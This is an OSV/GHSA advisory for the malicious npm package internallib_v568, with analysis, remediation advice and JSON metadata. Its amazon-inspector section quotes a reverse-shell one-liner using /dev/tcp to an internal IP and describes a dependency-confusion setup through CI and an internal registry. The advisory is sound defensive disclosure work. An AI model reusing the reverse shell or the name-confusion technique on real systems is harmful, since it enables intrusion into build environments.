MAL-2026-11513

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Import Source
https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/internallib_v568/MAL-2026-11513.json
JSON Data
https://api.osv.dev/v1/vulns/MAL-2026-11513
Aliases
  • GHSA-f4rq-x75f-gx73
Published
2026-08-03T15:49:54Z
Modified
2026-08-04T23:05:13.651483340Z
Summary
Malicious code in internallib_v568 (npm)
Details

-= Per source details. Do not edit below this line.=-

Source: amazon-inspector (755dfc0e12b6602ff21d04446f2c6bdc23499c0bd9645c14b9209dc25fbb0be5)

internallib_v568@1.0.1 is shaped as a dependency-confusion artifact against a private package name. The main module exports a payload containing a reverse-shell one-liner (/bin/sh -i >& /dev/tcp/10.0.64.141/4000 0>&1) directed at an RFC1918 address on TCP/4000. package.json declares the package as its own dependency ("internallib_v568": "^1.0.0"), and a shipped.gitlab-ci.yml runs npm update --registry http://0.0.0.0:4873/ and then requires the module — consistent with resolution against an internal Verdaccio registry. The embedded shell one-liner is not syntactically valid JavaScript and would throw at require-time rather than execute, so the reverse shell does not actually open on install in its current form; however, the hardcoded internal endpoint, the self-referential dependency, and the internal-registry CI wiring together document a deliberate attempt to land a reverse-shell payload inside an internal build via name-confusion.

Source: ghsa-malware (eee6d51dbfb5a2a8298a79b74b7c001e17985a1b438f9299a818a9c6c26e51e4)

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

Database specific 
{
    "malicious-packages-origins": [
        {
            "import_time": "2026-08-04T00:15:24.367950751Z",
            "sha256": "eee6d51dbfb5a2a8298a79b74b7c001e17985a1b438f9299a818a9c6c26e51e4",
            "ranges": [
                {
                    "type": "SEMVER",
                    "events": [
                        {
                            "introduced": "0"
                        }
                    ]
                }
            ],
            "id": "GHSA-f4rq-x75f-gx73",
            "modified_time": "2026-08-03T15:49:55Z",
            "source": "ghsa-malware"
        },
        {
            "source": "amazon-inspector",
            "modified_time": "2026-08-04T21:58:25Z",
            "sha256": "755dfc0e12b6602ff21d04446f2c6bdc23499c0bd9645c14b9209dc25fbb0be5",
            "id": "IN-MAL-2026-011279",
            "versions": [
                "1.0.1"
            ],
            "import_time": "2026-08-04T22:30:08.676544934Z"
        }
    ]
}
References
Credits

Affected packages

npm / internallib_v568

Package

Name
internallib_v568
View open source insights on deps.dev
Purl
pkg:npm/internallib_v568

Affected ranges

Type
SEMVER
Events
Introduced
0Unknown introduced version / All previous versions are affected

Affected versions

1.*
1.0.1

Database specific

cwes 
[
    {
        "name": "Embedded Malicious Code",
        "cweId": "CWE-506",
        "description": "The product contains code that appears to be malicious in nature."
    },
    {
        "name": "Embedded Malicious Code",
        "cweId": "CWE-506",
        "description": "The product contains code that appears to be malicious in nature."
    }
]
indicators 
{
    "evidence_files": [
        {
            "path": "index.js",
            "sha256": "d1102716f21bb16f17783c4968b6b3074205e1c9660aae4062bb6dd7233c6f20",
            "tlsh": "b7a0121514f8186095013435a252b81408163024342d026648f0d2a15512420104542c"
        },
        {
            "path": "package.json",
            "sha256": "ec24b9c49c828556036eedcee3cea78dcbb40798cc4577f3dadd82380cc6d3f2",
            "tlsh": "7dd05e205963993311c5526a2d79845772618e2f5096bc0857cb692c81df6b398fd35c"
        }
    ]
}
source 
"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/internallib_v568/MAL-2026-11513.json"